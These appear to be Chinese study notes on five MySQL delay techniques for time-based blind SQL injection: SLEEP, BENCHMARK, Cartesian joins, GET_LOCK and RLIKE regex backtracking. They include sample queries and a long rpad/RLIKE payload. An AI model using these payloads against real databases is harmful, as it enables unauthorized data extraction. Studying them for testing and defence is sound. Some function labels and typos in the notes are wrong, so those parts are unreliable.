五种延时函数
sleep()、benchmark(t,exp)、笛卡尔积、GET_LOCK ()、RLIKE正则
SLEEP()
最常见的时间延时函数
比如
![5HTWV[RZ%}]WYF)RMFNQ_L.png
BENCHMARK()
重复执行某表达式
benchmark(t,exp),重复执行 t 次 exp表达式,由于处理时间很长,所以会产生延时
比如
笛卡尔积
在MySQL中,连接表之间是一个很耗时的操作
比如,AxB = A和B中的每个元素的组合所组成的集合,也就是连接表
比如
mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;+------------+| count(*) |+------------+| 2651020120 |+------------+1 row in set (1 min 51.05 sec)
GET_LOCK() 加锁
延时可控
get_lock(key,timeout) 需要连接两个绘画
release_lock(key) 锁是否释放,释放了则返回1
is_free_lock(key) 返回当前连接ID,表示名称为’XXX’的锁正在被使用
一种新型SQL时间盲注攻击探索
RLIKE REGEXP正则匹配
通过 rpad 或者 repeat 构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时的长短
mysql> select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
+-------------------------------------------------------------+
| rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b') |
+-------------------------------------------------------------+
| 0 |
+-------------------------------------------------------------+
1 row in set (5.27 sec)
READ(str,len,pad,str)
用字符串 padstr 对 str 进行右边填补至它达到 len 个字符长度,然后返回 str。如果 str的长度长于 len,则它会被截取到len个字符
![]3(DXS9Q(Y0O(N4{DHHO~F.png
repeat(str,times)
复制字符串times次
等同于sleep(5)
concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'
参考连接
https://www.cnblogs.com/forforever/p/13019703.html
https://www.cdxy.me/?p=789
